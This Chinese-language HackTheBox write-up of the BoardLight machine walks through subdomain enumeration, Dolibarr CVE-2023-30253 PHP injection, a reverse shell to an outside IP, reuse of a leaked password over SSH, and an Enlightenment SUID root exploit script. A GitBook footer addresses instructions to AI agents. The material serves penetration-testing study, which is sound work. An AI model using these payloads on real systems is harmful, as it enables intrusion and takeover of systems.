> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/boardlight-hackthebox-writeup.md).

# BoardLight HackTheBox 解题报告

{% embed url="<https://app.hackthebox.com/machines/BoardLight>" %}

{% hint style="warning" %}
**技能：**

* 子域枚举
* Dolibarr 17.0.0 利用 - CVE-2023-30253
* 信息泄露（用户横向移动）
* Enlightenment SUID 二进制利用（权限提升）
  {% endhint %}

## 侦察

**工作区设置：**

通过创建三个文件夹来设置工作区，用于存储重要内容、漏洞利用和 Nmap 侦察结果。

<figure><img src="/files/b60b9a0e1a081320e84d65d94a74c59ee4cf19ef" alt="" width="563"><figcaption></figcaption></figure>

**VPN 连接检查**

检查 VPN 连接，以确保与目标机器的稳定通信。

<figure><img src="/files/c1f68462ea837377a64c6af363e443d81859cff8" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 发现开放端口：**

枚举开放端口，并将结果导出到 Nmap 目录中的 "allPorts" 文件：

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.11 -oG allPorts
```

<figure><img src="/files/6fc7a22b8f43242a220b23430079d70613871dcf" alt=""><figcaption></figcaption></figure>

**使用 extractPorts 分析开放端口：**

使用 extractPorts 函数以简洁格式显示开放端口并将其复制到剪贴板（22.80）

<figure><img src="/files/b80ee53e7fc8b40c4fbfb59bc6559ff520b8b36f" alt="" width="563"><figcaption></figcaption></figure>

使用 Nmap 进行端口版本扫描：

使用 Nmap 扫描服务版本，并将输出保存到 "targeted" 文件中：

```bash
nmap -sCV -p22,80 10.10.11.11 -oN targeted
```

<figure><img src="/files/e2490d956b4b9b674683e84521eef873179eb77b" alt=""><figcaption></figcaption></figure>

## 端口 80 - HTTP

**使用 WhatWeb 分析：** 我们识别出一封包含域名的电子邮件： `board.htb`.

<figure><img src="/files/35d2f39a22c6319cb0346fb5b6d0cd8eddb53564" alt=""><figcaption></figcaption></figure>

为了通过 DNS 将域名解析为 IP 地址，我们将与其 IP 地址关联的域名插入到 `/etc/hosts` 文件：

<figure><img src="/files/d81834baca258bf4c9a57a4a727a1cac71573e43" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/1054af7a6d8a44742df34045f0a388bfa3b2c3fa" alt=""><figcaption></figcaption></figure>

## Web 枚举

**使用 Feroxbuster 搜索目录：**

```bash
feroxbuster -u http://board.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

未找到相关结果。

<figure><img src="/files/86f192c30e7556bdc1dfa3c830106a40426b618b" alt=""><figcaption></figcaption></figure>

**使用 Gobuster 枚举子域名：**

```bash
gobuster vhost -u http://board.htb/ --append-domain -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 200
```

我们发现了一个子域名： `crm.board.htb`..

<figure><img src="/files/cc8e64ca98dd20c91ffc46f27128cb753b9c4a9f" alt=""><figcaption></figcaption></figure>

我们将其添加到 `/etc/hosts`

<figure><img src="/files/a57dd2dd8b58d7cc4b2a304552c6f67aa3434d1c" alt="" width="563"><figcaption></figcaption></figure>

## Dolibarr CMS 漏洞

<figure><img src="/files/d5f4aeef765a2798d5f0de93a99859095c9ffe3c" alt=""><figcaption></figcaption></figure>

**无需认证连接：** 使用随机凭据的连接尝试会以管理员身份登录，但没有权限。

<figure><img src="/files/5e34f83a91483d4f5a012c443ad09cbf49452567" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/7bca7f42441c25f8200de241e9b670d4f90c4628" alt=""><figcaption></figcaption></figure>

### **手动利用**

**创建恶意站点：**

在站点创建部分，我们插入恶意 PHP 代码：

<figure><img src="/files/0168cf61a80c6e56c27c61ecd5974b4248585c85" alt=""><figcaption></figcaption></figure>

```php
<section id="pwned" contenteditable="true"><?PhP system("whoami"); ?></section>
```

<figure><img src="/files/bc2c632a306a222d4b681d971f4e092cb03b5483" alt=""><figcaption></figcaption></figure>

我们确认了命令的执行。

<figure><img src="/files/e3ff2f28b3613959924d33d98cbbc65fef4af1df" alt=""><figcaption></figcaption></figure>

**反向 Shell：**

监听：

```bash
nc -nvlp 443
```

反向 shell 的 PHP 代码：

```php
<?phP
system($_GET['bash -c "bash -i >%26 /dev/tcp/10.10.14.47/443 0>%261"']);
?>
```

<figure><img src="/files/24594d409c0702ae8a42b4c24d9ccdd5523c2ae4" alt=""><figcaption></figcaption></figure>

### **自动化利用**

{% embed url="<https://github.com/Rubikcuv5/cve-2023-30253>" %}

**安装依赖：**

```bash
pip3 install -r requirements.txt 
```

**执行脚本：**

测试命令（whoami）

```bash
python3 exploit.py --url http://crm.board.htb -u admin -p admin -c whoami
```

<figure><img src="/files/cb5dda034d81072600bdde5b2471fc5ff809f1b4" alt=""><figcaption></figcaption></figure>

#### 反向 Shell

```bash
python3 exploit.py --url http://crm.board.htb -u admin -p admin -r 10.10.14.47 443
```

<figure><img src="/files/bd13a2e2313013bd9da74b53c7e9d9bf2a06e8b8" alt=""><figcaption></figcaption></figure>

#### 终端稳定化

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

## 用户横向移动 - Larissa

目标是切换到用户 **larissa**.

<figure><img src="/files/712ecec832cd982c52a3b3c5467927e047dc87f8" alt=""><figcaption></figcaption></figure>

### 信息枚举

在 `web` 目录位于 `htbdocs`，我们找到一个名为 `conf` 的文件夹，其中包含一个 **conf.php** 文件。该文件包含以下信息：

<figure><img src="/files/d97c561f3ea80995e3746ccf24d9a25fa1cbad1d" alt=""><figcaption></figcaption></figure>

* 密码： `serverfun2$2023`!!

#### SSH 连接

有了获取到的信息，我们尝试通过 SSH 连接到机器：

```bash
ssh larissa@10.10.11.11
```

**结果：** 连接成功。

<figure><img src="/files/80094b5b6574eb70da8ecbe27505bebb808cf53a" alt=""><figcaption></figcaption></figure>

### user.txt 标志 :)

<figure><img src="/files/3bd6dd0b9c289f281e8fe2ba371310b00dbdb702" alt=""><figcaption></figcaption></figure>

## 权限提升

### SUID - Enlightenment

我们先搜索归我们用户所有的 SUID 文件。为此，运行以下命令：

```bash
find / -perm -4000 2>/dev/null
```

分析输出后，我们注意到存在 **enlightenment** 二进制文件。

<figure><img src="/files/9c042f05e5c9587c4399d3c6f98efcc41faaa897" alt=""><figcaption></figcaption></figure>

我们正在研究与该二进制文件相关的漏洞。经过一些检索，我们找到了适用于版本 **0.25.4**.

{% embed url="<https://www.exploit-db.com/exploits/51180>" %}

<figure><img src="/files/0e6ae8c81fbb8a7099a6488d36e647f30bca3d04" alt=""><figcaption></figcaption></figure>

然而，检查系统上当前安装的 Enlightenment 版本后，我们发现它是版本 **0.23.1**，一个较旧的版本。

<figure><img src="/files/ce598960fd1c2661ee9787c554ed6d6b05e70089" alt=""><figcaption></figcaption></figure>

我们正在测试以下利用代码来利用该漏洞：

```bash
#!/usr/bin/bash

file="/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys"
mkdir -p /tmp/net
mkdir -p "/dev/../tmp/;/tmp/exploit"
echo "/bin/sh" > /tmp/exploit
chmod a+x /tmp/exploit
${file} /bin/mount -o noexec,nosuid,utf8,nodev,iocharset=utf8,utf8=0,utf8=1,uid=$(id -u), "/dev/../tmp/;/tmp/exploit" /tmp///net
rm -rf /tmp/exploit
rm -rf /tmp/net
```

```bash
./exploit.sh
```

运行利用代码后，我们获得了 root 权限的 shell。

<figure><img src="/files/ae5240326e078995f6ea81f024c05200c891cdfe" alt=""><figcaption></figcaption></figure>

### root.txt flag :)

<figure><img src="/files/01a3364c289ffba2ee15f6c54e3cc548de152a99" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/03f6626a7e7d2b8e1fdc1c974473bed13f2c15ec" alt="" width="425"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/boardlight-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
